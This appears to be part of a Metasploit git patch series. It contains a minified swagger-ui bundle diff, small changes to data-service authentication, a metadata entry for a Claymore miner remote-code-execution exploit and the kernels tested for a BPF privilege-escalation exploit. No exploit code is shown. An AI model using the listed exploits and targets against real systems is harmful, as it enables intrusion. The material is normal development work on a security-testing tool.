t=e.server,n=e.namespace,r=e.key,i=e.val;return{type:f,payload:{server:t,namespace:n,key:r,val:i}}}Object.defineProperty(t,"__esModule",{value:!0}),t.setSelectedServer=r,t.setRequestBodyValue=i,t.setRequestContentType=o,t.setResponseContentType=a,t.setServerVariableValue=s;var u=t.UPDATE_SELECTED_SERVER="oas3_set_servers",l=t.UPDATE_REQUEST_BODY_VALUE="oas3_set_request_body_value",c=t.UPDATE_REQUEST_CONTENT_TYPE="oas3_set_request_content_type",p=t.UPDATE_RESPONSE_CONTENT_TYPE="oas3_set_response_content_type",f=t.UPDATE_SERVER_VARIABLE_VALUE="oas3_set_server_variable_value"},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e,t){var n=h(e,t);if(n)return(0,s.default)(n,{declaration:!0,indent:"\t"})}Object.defineProperty(t,"__esModule",{value:!0}),t.memoizedSampleFromSchema=t.memoizedCreateXMLExample=t.sampleXmlFromSchema=t.inferSchema=t.sampleFromSchema=void 0,t.createXMLExample=i;var o=n(9),a=n(1217),s=r(a),u=n(987),l=r(u),c={string:function(){return"string"},string_email:function(){return"user@example.com"},"string_date-time":function(){return(new Date).toISOString()},number:function(){return 0},number_float:function(){return 0},integer:function(){return 0},boolean:function(e){return"boolean"!=typeof e.default||e.default}},p=function(e){e=(0,o.objectify)(e);var t=e,n=t.type,r=t.format,i=c[n+"_"+r]||c[n];return(0,o.isFunc)(i)?i(e):"Unknown Type: "+e.type},f=t.sampleFromSchema=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=(0,o.objectify)(t),i=r.type,a=r.example,s=r.properties,u=r.additionalProperties,l=r.items,c=n.includeReadOnly,f=n.includeWriteOnly;if(void 0!==a)return(0,o.deeplyStripKey)(a,"$$ref",function(e){return"string"==typeof e&&e.indexOf("#")>-1});if(!i)if(s)i="object";else{if(!l)return;i="array"}if("object"===i){var h=(0,o.objectify)(s),d={};for(var m in h)h[m].readOnly&&!c||h[m].writeOnly&&!f||(d[m]=e(h[m],n));if(!0===u)d.additionalProp1={};else if(u)for(var v=(0,o.objectify)(u),g=e(v,n),y=1;y<4;y++)d["additionalProp"+y]=g;return d}return"array"===i?Array.isArray(l.anyOf)?l.anyOf.map(function(t){return e(t,n)}):Array.isArray(l.oneOf)?l.oneOf.map(function(t){return e(t,n)}):[e(l,n)]:t.enum?t.default?t.default:(0,o.normalizeArray)(t.enum)[0]:"file"!==i?p(t):void 0},h=(t.inferSchema=function(e){return e.schema&&(e=e.schema),e.properties&&(e.type="object"),e},t.sampleXmlFromSchema=function e(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=(0,o.objectify)(t),i=r.type,a=r.properties,s=r.additionalProperties,u=r.items,l=r.example,c=n.includeReadOnly,f=n.includeWriteOnly,h=r.default,d={},m={},v=t.xml,g=v.name,y=v.prefix,_=v.namespace,b=r.enum,x=void 0,w=void 0;if(!i)if(a||s)i="object";else{if(!u)return;i="array"}if(g=g||"notagname",x=(y?y+":":"")+g,_){m[y?"xmlns:"+y:"xmlns"]=_}if("array"===i&&u){if(u.xml=u.xml||v||{},u.xml.name=u.xml.name||v.name,v.wrapped)return d[x]=[],Array.isArray(l)?l.forEach(function(t){u.example=t,d[x].push(e(u,n))}):Array.isArray(h)?h.forEach(function(t){u.default=t,d[x].push(e(u,n))}):d[x]=[e(u,n)],m&&d[x].push({_attr:m}),d;var k=[];return Array.isArray(l)?(l.forEach(function(t){u.example=t,k.push(e(u,n))}),k):Array.isArray(h)?(h.forEach(function(t){u.default=t,k.push(e(u,n))}),k):e(u,n)}if("object"===i){var E=(0,o.objectify)(a);d[x]=[],l=l||{};for(var S in E)if(E.hasOwnProperty(S)&&(!E[S].readOnly||c)&&(!E[S].writeOnly||f))if(E[S].xml=E[S].xml||{},E[S].xml.attribute){var C=Array.isArray(E[S].enum)&&E[S].enum[0],A=E[S].example,D=E[S].default;m[E[S].xml.name||S]=void 0!==A&&A||void 0!==l[S]&&l[S]||void 0!==D&&D||C||p(E[S])}else{E[S].xml.name=E[S].xml.name||S,void 0===E[S].example&&void 0!==l[S]&&(E[S].example=l[S]);var O=e(E[S]);Array.isArray(O)?d[x]=d[x].concat(O):d[x].push(O)}return!0===s?d[x].push({additionalProp:"Anything can be here"}):s&&d[x].push({additionalProp:p(s)}),m&&d[x].push({_attr:m}),d}return w=void 0!==l?l:void 0!==h?h:Array.isArray(b)?b[0]:p(t),d[x]=m?[{_attr:m},w]:w,d});t.memoizedCreateXMLExample=(0,l.default)(i),t.memoizedSampleFromSchema=(0,l.default)(f)},function(e,t,n){"use strict";function r(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=se(e).replace(/\t/g," ");if("string"==typeof e)return{type:H,payload:t}}function o(e){return{type:ie,payload:e}}function a(e){return{type:J,payload:e}}function s(e){return{type:G,payload:e}}function u(e,t,n,r,i){return{type:Y,payload:{path:e,value:r,paramName:t,paramIn:n,isXml:i}}}function l(e){return{type:ne,payload:{pathMethod:e}}}function c(e,t){return{type:re,payload:{path:e,value:t,key:"consumes_value"}}}function p(e,t){return{type:re,payload:{path:e,value:t,key:"produces_value"}}}function f(e,t){return{type:ee,payload:{path:e,method:t}}}function h(e,t){return{type:te,payload:{path:e,method:t}}}function d(e,t,n){return{type:ae,payload:{scheme:e,path:t,method:n}}}Object.defineProperty(t,"__esModule",{value:!0}),t.execute=t.executeRequest=t.logRequest=t.setMutatedRequest=t.setRequest=t.setResponse=t.validateParams=t.invalidateResolvedSubtreeCache=t.updateResolvedSubtree=t.requestResolvedSubtree=t.resolveSpec=t.parseToJson=t.SET_SCHEME=t.UPDATE_RESOLVED_SUBTREE=t.UPDATE_RESOLVED=t.UPDATE_OPERATION_META_VALUE=t.CLEAR_VALIDATE_PARAMS=t.CLEAR_REQUEST=t.CLEAR_RESPONSE=t.LOG_REQUEST=t.SET_MUTATED_REQUEST=t.SET_REQUEST=t.SET_RESPONSE=t.VALIDATE_PARAMS=t.UPDATE_PARAM=t.UPDATE_JSON=t.UPDATE_URL=t.UPDATE_SPEC=void 0;var m=n(20),v=r(m),g=n(97),y=r(g),_=n(23),b=r(_),x=n(42),w=r(x),k=n(127),E=r(k),S=n(342),C=r(S),A=n(341),D=r(A),O=n(43),M=r(O);t.updateSpec=i,t.updateResolved=o,t.updateUrl=a,t.updateJsonSpec=s,t.changeParam=u,t.clearValidateParams=l,t.changeConsumesValue=c,t.changeProducesValue=p,t.clearResponse=f,t.clearRequest=h,t.setScheme=d;var T=n(217),P=r(T),I=n(7),R=n(514),j=r(R),N=n(270),F=r(N),B=n(436),L=r(B),q=n(961),z=r(q),U=n(974),W=r(U),V=n(9),H=t.UPDATE_SPEC="spec_update_spec",J=t.UPDATE_URL="spec_update_url",G=t.UPDATE_JSON="spec_update_json",Y=t.UPDATE_PARAM="spec_update_param",K=t.VALIDATE_PARAMS="spec_validate_param",X=t.SET_RESPONSE="spec_set_response",$=t.SET_REQUEST="spec_set_request",Z=t.SET_MUTATED_REQUEST="spec_set_mutated_request",Q=t.LOG_REQUEST="spec_log_request",ee=t.CLEAR_RESPONSE="spec_clear_response",te=t.CLEAR_REQUEST="spec_clear_request",ne=t.CLEAR_VALIDATE_PARAMS="spec_clear_validate_param",re=t.UPDATE_OPERATION_META_VALUE="spec_update_operation_meta_value",ie=t.UPDATE_RESOLVED="spec_update_resolved",oe=t.UPDATE_RESOLVED_SUBTREE="spec_update_resolved_subtree",ae=t.SET_SCHEME="set_scheme",se=function(e){return(0,L.default)(e)?e:""},ue=(t.parseToJson=function(e){return function(t){var n=t.specActions,r=t.specSelectors,i=t.errActions,o=r.specStr,a=null;try{e=e||o(),i.clear({source:"parser"}),a=P.default.safeLoad(e)}catch(e){return console.error(e),i.newSpecErr({source:"parser",level:"error",message:e.reason,line:e.mark&&e.mark.line?e.mark.line+1:void 0})}return a&&"object"===(void 0===a?"undefined":(0,M.default)(a))?n.updateJsonSpec(a):{}}},!1),le=(t.resolveSpec=function(e,t){return function(n){var r=n.specActions,i=n.specSelectors,o=n.errActions,a=n.fn,s=a.fetch,u=a.resolve,l=a.AST,c=n.getConfigs;ue||(console.warn("specActions.resolveSpec is deprecated since v3.10.0 and will be removed in v4.0.0; use requestResolvedSubtree instead!"),ue=!0);var p=c(),f=p.modelPropertyMacro,h=p.parameterMacro,d=p.requestInterceptor,m=p.responseInterceptor;void 0===e&&(e=i.specJson()),void 0===t&&(t=i.url());var v=l.getLineNumberForPath,g=i.specStr();return u({fetch:s,spec:e,baseDoc:t,modelPropertyMacro:f,parameterMacro:h,requestInterceptor:d,responseInterceptor:m}).then(function(e){var t=e.spec,n=e.errors;if(o.clear({type:"thrown"}),Array.isArray(n)&&n.length>0){var i=n.map(function(e){return console.error(e),e.line=e.fullPath?v(g,e.fullPath):null,e.path=e.fullPath?e.fullPath.join("."):null,e.level="error",e.type="thrown",e.source="resolver",Object.defineProperty(e,"message",{enumerable:!0,value:e.message}),e});o.newThrownErrBatch(i)}return r.updateResolved(t)})}},[]),ce=(0,z.default)((0,D.default)(C.default.mark(function e(){var t,n,r,i,o,a,s,u,l,c,p,f,h,d,m;return C.default.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(t=le.system){e.next=4;break}return console.error("debResolveSubtrees: don't have a system to operate on, aborting."),e.abrupt("return");case 4:if(n=t.errActions,r=t.errSelectors,i=t.fn,o=i.resolveSubtree,a=i.AST.getLineNumberForPath,s=t.specSelectors,u=t.specActions,o){e.next=8;break}return console.error("Error: Swagger-Client did not provide a `resolveSubtree` method, doing nothing."),e.abrupt("return");case 8:return l=s.specStr(),c=t.getConfigs(),p=c.modelPropertyMacro,f=c.parameterMacro,h=c.requestInterceptor,d=c.responseInterceptor,e.prev=10,e.next=13,le.reduce(function(){var e=(0,D.default)(C.default.mark(function e(t,i){var u,c,m,v,g,y,_;return C.default.wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,t;case 2:return u=e.sent,c=u.resultMap,m=u.specWithCurrentSubtrees,e.next=7,o(m,i,{baseDoc:s.url(),modelPropertyMacro:p,parameterMacro:f,requestInterceptor:h,responseInterceptor:d});case 7:return v=e.sent,g=v.errors,y=v.spec,r.allErrors().size&&n.clear({type:"thrown"}),Array.isArray(g)&&g.length>0&&(_=g.map(function(e){return e.line=e.fullPath?a(l,e.fullPath):null,e.path=e.fullPath?e.fullPath.join("."):null,e.level="error",e.type="thrown",e.source="resolver",Object.defineProperty(e,"message",{enumerable:!0,value:e.message}),e}),n.newThrownErrBatch(_)),(0,W.default)(c,i,y),(0,W.default)(m,i,y),e.abrupt("return",{resultMap:c,specWithCurrentSubtrees:m});case 15:case"end":return e.stop()}},e,void 0)}));return function(t,n){return e.apply(this,arguments)}}(),E.default.resolve({resultMap:(s.specResolvedSubtree([])||(0,I.Map)()).toJS(),specWithCurrentSubtrees:s.specJson().toJS()}));case 13:m=e.sent,delete le.system,le=[],e.next=21;break;case 18:e.prev=18,e.t0=e.catch(10),console.error(e.t0);case 21:u.updateResolvedSubtree([],m.resultMap);case 22:case"end":return e.stop()}},e,void 0,[[10,18]])})),35),pe=(t.requestResolvedSubtree=function(e){return function(t){le.push(e),le.system=t,ce()}},t.updateResolvedSubtree=function(e,t){return{type:oe,payload:{path:e,value:t}}},t.invalidateResolvedSubtreeCache=function(){return{type:oe,payload:{path:[],value:(0,I.Map)()}}},t.validateParams=function(e,t){return{type:K,payload:{pathMethod:e,isOAS3:t}}},t.setResponse=function(e,t,n){return{payload:{path:e,method:t,res:n},type:X}},t.setRequest=function(e,t,n){return{payload:{path:e,method:t,req:n},type:$}},t.setMutatedRequest=function(e,t,n){return{payload:{path:e,method:t,req:n},type:Z}},t.logRequest=function(e){return{payload:e,type:Q}},t.executeRequest=function(e){return function(t){var n=t.fn,r=t.specActions,i=t.specSelectors,o=t.getConfigs,a=t.oas3Selectors,s=e.pathName,u=e.method,l=e.operation,c=o(),p=c.requestInterceptor,f=c.responseInterceptor,h=l.toJS();if(e.contextUrl=(0,j.default)(i.url()).toString(),h&&h.operationId?e.operationId=h.operationId:h&&s&&u&&(e.operationId=n.opId(h,s,u)),i.isOAS3()){var d=s+":"+u;e.server=a.selectedServer(d)||a.selectedServer();var m=a.serverVariables({server:e.server,namespace:d}).toJS(),v=a.serverVariables({server:e.server}).toJS();e.serverVariables=(0,w.default)(m).length?m:v,e.requestContentType=a.requestContentType(s,u),e.responseContentType=a.responseContentType(s,u)||"*/*";var g=a.requestBodyValue(s,u);(0,V.isJSONObject)(g)?e.requestBody=JSON.parse(g):e.requestBody=g}var y=(0,b.default)({},e);y=n.buildRequest(y),r.setRequest(e.pathName,e.method,y);var _=function(t){var n=p.apply(this,[t]),i=(0,b.default)({},n);return r.setMutatedRequest(e.pathName,e.method,i),n};e.requestInterceptor=_,e.responseInterceptor=f;var x=Date.now();return n.execute(e).then(function(t){t.duration=Date.now()-x,r.setResponse(e.pathName,e.method,t)}).catch(function(t){return r.setResponse(e.pathName,e.method,{error:!0,err:(0,F.default)(t)})})}},function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.path,n=e.method,r=(0,y.default)(e,["path","method"]);return function(e){var i=e.fn.fetch,o=e.specSelectors,a=e.specActions,s=o.specJsonWithResolvedSubtrees().toJS(),u=o.operationScheme(t,n),l=o.contentTypeValues([t,n]).toJS(),c=l.requestContentType,p=l.responseContentType,f=/xml/i.test(c),h=o.parameterValues([t,n],f).toJS();return a.executeRequest((0,v.default)({},r,{fetch:i,spec:s,pathName:t,method:n,parameters:h,requestContentType:c,scheme:u,responseContentType:p}))}});t.execute=pe},function(e,t,n){"use strict";function r(e,t,n,r){return t=t||[],e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.fromJS)([])).find(function(e){return m.Map.isMap(e)&&e.get("name")===n&&e.get("in")===r})||(0,m.Map)()}function i(e,t,n){return t=t||[],j.apply(void 0,[e].concat((0,f.default)(t))).get("parameters",(0,m.List)()).reduce(function(e,t){var r=n&&"body"===t.get("in")?t.get("value_xml"):t.get("value");return e.set(t.get("in")+"."+t.get("name"),r)},(0,m.fromJS)({}))}function o(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(m.List.isList(e))return e.some(function(e){return m.Map.isMap(e)&&e.get("in")===t})}function a(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";if(m.List.isList(e))return e.some(function(e){return m.Map.isMap(e)&&e.get("type")===t})}function s(e,t){t=t||[];var n=b(e).getIn(["paths"].concat((0,f.default)(t)),(0,m.fromJS)({})),r=e.getIn(["meta","paths"].concat((0,f.default)(t)),(0,m.fromJS)({})),i=l(e,t),o=n.get("parameters")||new m.List,s=r.get("consumes_value")?r.get("consumes_value"):a(o,"file")?"multipart/form-data":a(o,"formData")?"application/x-www-form-urlencoded":void 0;return(0,m.fromJS)({requestContentType:s,responseContentType:i})}function u(e,t){return t=t||[],b(e).getIn(["paths"].concat((0,f.default)(t),["consumes"]),(0,m.fromJS)({}))}function l(e,t){t=t||[];var n=b(e).getIn(["paths"].concat((0,f.default)(t)),null);if(null!==n){var r=e.getIn(["meta","paths"].concat((0,f.default)(t),["produces_value"]),null),i=n.getIn(["produces",0],null);return r||i||"application/json"}}function c(e){return m.Map.isMap(e)?e:new m.Map}Object.defineProperty(t,"__esModule",{value:!0}),t.validateBeforeExecute=t.canExecuteScheme=t.operationScheme=t.hasHost=t.parameterWithMeta=t.operationWithMeta=t.allowTryItOutFor=t.mutatedRequestFor=t.requestFor=t.responseFor=t.mutatedRequests=t.requests=t.responses=t.taggedOperations=t.operationsWithTags=t.tagDetails=t.tags=t.operationsWithRootInherited=t.schemes=t.host=t.basePath=t.definitions=t.findDefinition=t.securityDefinitions=t.security=t.produces=t.consumes=t.operations=t.paths=t.semver=t.version=t.externalDocs=t.info=t.isOAS3=t.spec=t.specJsonWithResolvedSubtrees=t.specResolvedSubtree=t.specResolved=t.specJson=t.specSource=t.specStr=t.url=t.lastError=void 0;var p=n(72),f=function(e){return e&&e.__esModule?e:{default:e}}(p);t.getParameter=r,t.parameterValues=i,t.parametersIncludeIn=o,t.parametersIncludeType=a,t.contentTypeValues=s,t.operationConsumes=u,t.currentProducesFor=l;var h=n(60),d=n(9),m=n(7),v=["get","put","post","delete","options","head","patch","trace"],g=function(e){return e||(0,m.Map)()},y=(t.lastError=(0,h.createSelector)(g,function(e){return e.get("lastError")}),t.url=(0,h.createSelector)(g,function(e){return e.get("url")}),t.specStr=(0,h.createSelector)(g,function(e){return e.get("spec")||""}),t.specSource=(0,h.createSelector)(g,function(e){return e.get("specSource")||"not-editor"}),t.specJson=(0,h.createSelector)(g,function(e){return e.get("json",(0,m.Map)())})),_=(t.specResolved=(0,h.createSelector)(g,function(e){return e.get("resolved",(0,m.Map)())}),t.specResolvedSubtree=function(e,t){return e.getIn(["resolvedSubtrees"].concat((0,f.default)(t)),void 0)},function e(t,n){return m.Map.isMap(t)&&m.Map.isMap(n)?n.get("$$ref")?n:(0,m.OrderedMap)().mergeWith(e,t,n):n}),b=t.specJsonWithResolvedSubtrees=(0,h.createSelector)(g,function(e){return(0,m.OrderedMap)().mergeWith(_,e.get("json"),e.get("resolvedSubtrees"))}),x=t.spec=function(e){return y(e)},w=(t.isOAS3=(0,h.createSelector)(x,function(){return!1}),t.info=(0,h.createSelector)(x,function(e){return c(e&&e.get("info"))})),k=(t.externalDocs=(0,h.createSelector)(x,function(e){return c(e&&e.get("externalDocs"))}),t.version=(0,h.createSelector)(w,function(e){return e&&e.get("version")})),E=(t.semver=(0,h.createSelector)(k,function(e){return/v?([0-9]*)\.([0-9]*)\.([0-9]*)/i.exec(e).slice(1)}),t.paths=(0,h.createSelector)(b,function(e){return e.get("paths")})),S=t.operations=(0,h.createSelector)(E,function(e){if(!e||e.size<1)return(0,m.List)();var t=(0,m.List)();return e&&e.forEach?(e.forEach(function(e,n){if(!e||!e.forEach)return{};e.forEach(function(e,r){v.indexOf(r)<0||(t=t.push((0,m.fromJS)({path:n,method:r,operation:e,id:r+"-"+n})))})}),t):(0,m.List)()}),C=t.consumes=(0,h.createSelector)(x,function(e){return(0,m.Set)(e.get("consumes"))}),A=t.produces=(0,h.createSelector)(x,function(e){return(0,m.Set)(e.get("produces"))}),D=(t.security=(0,h.createSelector)(x,function(e){return e.get("security",(0,m.List)())}),t.securityDefinitions=(0,h.createSelector)(x,function(e){return e.get("securityDefinitions")}),t.findDefinition=function(e,t){var n=e.getIn(["resolvedSubtrees","definitions",t],null),r=e.getIn(["json","definitions",t],null);return n||r||null},t.definitions=(0,h.createSelector)(x,function(e){return e.get("definitions")||(0,m.Map)()}),t.basePath=(0,h.createSelector)(x,function(e){return e.get("basePath")}),t.host=(0,h.createSelector)(x,function(e){return e.get("host")}),t.schemes=(0,h.createSelector)(x,function(e){return e.get("schemes",(0,m.Map)())}),t.operationsWithRootInherited=(0,h.createSelector)(S,C,A,function(e,t,n){return e.map(function(e){return e.update("operation",function(e){if(e){if(!m.Map.isMap(e))return;return e.withMutations(function(e){return e.get("consumes")||e.update("consumes",function(e){return(0,m.Set)(e).merge(t)}),e.get("produces")||e.update("produces",function(e){return(0,m.Set)(e).merge(n)}),e})}return(0,m.Map)()})})})),O=t.tags=(0,h.createSelector)(x,function(e){return e.get("tags",(0,m.List)())}),M=t.tagDetails=function(e,t){return(O(e)||(0,m.List)()).filter(m.Map.isMap).find(function(e){return e.get("name")===t},(0,m.Map)())},T=t.operationsWithTags=(0,h.createSelector)(D,O,function(e,t){return e.reduce(function(e,t){var n=(0,m.Set)(t.getIn(["operation","tags"]));return n.count()<1?e.update("default",(0,m.List)(),function(e){return e.push(t)}):n.reduce(function(e,n){return e.update(n,(0,m.List)(),function(e){return e.push(t)})},e)},t.reduce(function(e,t){return e.set(t.get("name"),(0,m.List)())},(0,m.OrderedMap)()))}),P=(t.taggedOperations=function(e){return function(t){var n=t.getConfigs,r=n(),i=r.tagsSorter,o=r.operationsSorter;return T(e).sortBy(function(e,t){return t},function(e,t){var n="function"==typeof i?i:d.sorters.tagsSorter[i];return n?n(e,t):null}).map(function(t,n){var r="function"==typeof o?o:d.sorters.operationsSorter[o],i=r?t.sort(r):t;return(0,m.Map)({tagDetails:M(e,n),operations:i})})}},t.responses=(0,h.createSelector)(g,function(e){return e.get("responses",(0,m.Map)())})),I=t.requests=(0,h.createSelector)(g,function(e){return e.get("requests",(0,m.Map)())}),R=t.mutatedRequests=(0,h.createSelector)(g,function(e){return e.get("mutatedRequests",(0,m.Map)())}),j=(t.responseFor=function(e,t,n){return P(e).getIn([t,n],null)},t.requestFor=function(e,t,n){return I(e).getIn([t,n],null)},t.mutatedRequestFor=function(e,t,n){return R(e).getIn([t,n],null)},t.allowTryItOutFor=function(){return!0},t.operationWithMeta=function(e,t,n){var r=b(e).getIn(["paths",t,n],(0,m.Map)()),i=e.getIn(["meta","paths",t,n],(0,m.Map)()),o=r.get("parameters",(0,m.List)()).map(function(e){return(0,m.Map)().merge(e,i.getIn(["parameters",e.get("name")+"."+e.get("in")]))});return(0,m.Map)().merge(r,i).set("parameters",o)}),N=(t.parameterWithMeta=function(e,t,n,r){var i=b(e).getIn(["paths"].concat((0,f.default)(t),["parameters"]),(0,m.Map)()),o=e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.Map)());return i.map(function(e){return(0,m.Map)().merge(e,o.get(e.get("name")+"."+e.get("in")))}).find(function(e){return e.get("in")===r&&e.get("name")===n},(0,m.Map)())},t.hasHost=(0,h.createSelector)(x,function(e){var t=e.get("host");return"string"==typeof t&&t.length>0&&"/"!==t[0]}),t.operationScheme=function(e,t,n){var r=e.get("url"),i=r.match(/^([a-z][a-z0-9+\-.]*):/),o=Array.isArray(i)?i[1]:null;return e.getIn(["scheme",t,n])||e.getIn(["scheme","_defaultScheme"])||o||""});t.canExecuteScheme=function(e,t,n){return["http","https"].indexOf(N(e,t,n))>-1},t.validateBeforeExecute=function(e,t){t=t||[];var n=e.getIn(["meta","paths"].concat((0,f.default)(t),["parameters"]),(0,m.fromJS)([])),r=!0;return n.forEach(function(e){var t=e.get("errors");t&&t.count()&&(r=!1)}),r}},function(e,t,n){var r,i;/*! - Copyright (c) 2016 Jed Watson. - Licensed under the MIT License (MIT), see - http://jedwatson.github.io/classnames -*/ -!function(){"use strict";function n(){for(var e=[],t=0;tx;x++)if((f||x in y)&&(m=y[x],v=_(m,x,g),e))if(n)w[x]=v;else if(v)switch(e){case 3:return!0;case 5:return m;case 6:return x;case 2:w.push(m)}else if(c)return!1;return p?-1:l||c?c:w}}},function(e,t,n){var r=n(99),i=n(21)("toStringTag"),o="Arguments"==r(function(){return arguments}()),a=function(e,t){try{return e[t]}catch(e){}};e.exports=function(e){var t,n,s;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(n=a(t=Object(e),i))?n:o?r(t):"Object"==(s=r(t))&&"function"==typeof t.callee?"Arguments":s}},function(e,t){e.exports=function(e){if(void 0==e)throw TypeError("Can't call method on "+e);return e}},function(e,t,n){var r=n(29),i=n(25).document,o=r(i)&&r(i.createElement);e.exports=function(e){return o?i.createElement(e):{}}},function(e,t){e.exports="constructor,hasOwnProperty,isPrototypeOf,propertyIsEnumerable,toLocaleString,toString,valueOf".split(",")},function(e,t,n){var r=n(99);e.exports=Object("z").propertyIsEnumerable(0)?Object:function(e){return"String"==r(e)?e.split(""):Object(e)}},function(e,t,n){"use strict";function r(e){var t,n;this.promise=new e(function(e,r){if(void 0!==t||void 0!==n)throw TypeError("Bad Promise constructor");t=e,n=r}),this.resolve=i(t),this.reject=i(n)}var i=n(98);e.exports.f=function(e){return new r(e)}},function(e,t,n){var r=n(38),i=n(628),o=n(185),a=n(192)("IE_PROTO"),s=function(){},u=function(){var e,t=n(184)("iframe"),r=o.length;for(t.style.display="none",n(344).appendChild(t),t.src="javascript:",e=t.contentWindow.document,e.open(),e.write(" - + + - \ No newline at end of file + From 65c290fa396ca2699b6b734f760ce9c8b2924590 Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 16:44:44 -0400 Subject: [PATCH 186/217] Make API token optional on data_services cmd --- lib/msf/ui/console/command_dispatcher/db.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 98471061d3..4694d4caf6 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1995,11 +1995,6 @@ class Db return end - if opts[:api_token].nil? - print_error("API token is required") - return - end - opts[:https_opts] = https_opts unless https_opts.empty? endpoint = "#{protocol}://#{host}:#{port}" remote_data_service = Metasploit::Framework::DataService::RemoteHTTPDataService.new(endpoint, opts) @@ -2053,7 +2048,7 @@ class Db print_line " -a, --add [ options ] Add a new data service" print_line " Add Data Service Options:" print_line " -p The port the data service is listening on. Default is 8080." - print_line " -t, --token Required API Token for MSF web service" + print_line " -t, --token API Token for MSF web service" print_line " -s, --ssl Enable SSL. Required for HTTPS data services." print_line " -c, --cert Certificate file matching the server's certificate. Needed when using self-signed SSL cert." print_line " --skip-verify Skip validating authenticity of server's certificate. NOT RECOMMENDED." From 5d048a6eb2a7fe17187fa5aa0c6c662ffad1ecac Mon Sep 17 00:00:00 2001 From: Matthew Kienow Date: Mon, 16 Jul 2018 18:22:47 -0400 Subject: [PATCH 187/217] Use a class variable for auth initialized flag --- lib/msf/core/db_manager/http/metasploit_api_app.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/http/metasploit_api_app.rb b/lib/msf/core/db_manager/http/metasploit_api_app.rb index 2e913c6c21..30ee362a9e 100644 --- a/lib/msf/core/db_manager/http/metasploit_api_app.rb +++ b/lib/msf/core/db_manager/http/metasploit_api_app.rb @@ -57,7 +57,8 @@ class MetasploitApiApp < Sinatra::Base # store DBManager in request environment so that it is available to Warden request.env['msf.db_manager'] = get_db # store flag indicating whether authentication is initialized in the request environment - request.env['msf.auth_initialized'] ||= get_db.users({}).count > 0 + @@auth_initialized ||= get_db.users({}).count > 0 + request.env['msf.auth_initialized'] = @@auth_initialized end use Warden::Manager do |config| From b4a49b41992a082051b321f5735124e834f0780c Mon Sep 17 00:00:00 2001 From: Metasploit Date: Mon, 16 Jul 2018 16:15:15 -0700 Subject: [PATCH 188/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index b08a0a36dd..2caf0ca651 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -42408,6 +42408,37 @@ "is_install_path": true, "ref_name": "multi/misc/bmc_server_automation_rscd_nsh_rce" }, + "exploit_multi/misc/claymore_dual_miner_remote_manager_rce": { + "name": "Nanopool Claymore Dual Miner APIs RCE", + "full_name": "exploit/multi/misc/claymore_dual_miner_remote_manager_rce", + "rank": 600, + "disclosure_date": "2018-02-09", + "type": "exploit", + "author": [ + "reversebrain ", + "phra " + ], + "description": "This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability.", + "references": [ + "EDB-44638", + "CVE-2018-1000049", + "URL-https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/" + ], + "is_server": false, + "is_client": false, + "platform": "Linux,Windows", + "arch": "", + "rport": "3333", + "targets": [ + "Automatic Target", + "Linux", + "Windows" + ], + "mod_time": "2018-06-28 01:33:56 +0000", + "path": "/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb", + "is_install_path": true, + "ref_name": "multi/misc/claymore_dual_miner_remote_manager_rce" + }, "exploit_multi/misc/hp_data_protector_exec_integutil": { "name": "HP Data Protector EXEC_INTEGUTIL Remote Code Execution", "full_name": "exploit/multi/misc/hp_data_protector_exec_integutil", From 6bf184dbcf49026d7e7dc279a373278f9c173cd1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Tue, 17 Jul 2018 06:24:16 +0000 Subject: [PATCH 189/217] Update tested versions --- .../modules/exploit/linux/local/bpf_sign_extension_priv_esc.md | 3 +++ modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb | 3 +++ 2 files changed, 6 insertions(+) diff --git a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md index 5ce960dbbf..3b40981e26 100644 --- a/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md +++ b/documentation/modules/exploit/linux/local/bpf_sign_extension_priv_esc.md @@ -15,10 +15,13 @@ * Fedora 25 kernel 4.8.6-300.fc25.x86_64; * Fedora 26 kernel 4.11.8-300.fc26.x86_64; * Fedora 27 kernel 4.13.9-300.fc27.x86_64; + * Gentoo 2.2 kernel 4.5.2-aufs-r1; * Linux Mint 17.3 kernel 4.4.0-89-generic; * Linux Mint 18.0 kernel 4.8.0-58-generic; * Linux Mint 18.3 kernel 4.13.0-16-generic; * Mageia 6 kernel 4.9.35-desktop-1.mga6; + * Manjero 16.10 kernel 4.4.28-2-MANJARO; + * Solus 3 kernel 4.12.7-11.current; * Ubuntu 14.04.1 kernel 4.4.0-89-generic; * Ubuntu 16.04.2 kernel 4.8.0-45-generic; * Ubuntu 16.04.3 kernel 4.10.0-28-generic; diff --git a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb index 9983793219..86a1760708 100644 --- a/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb +++ 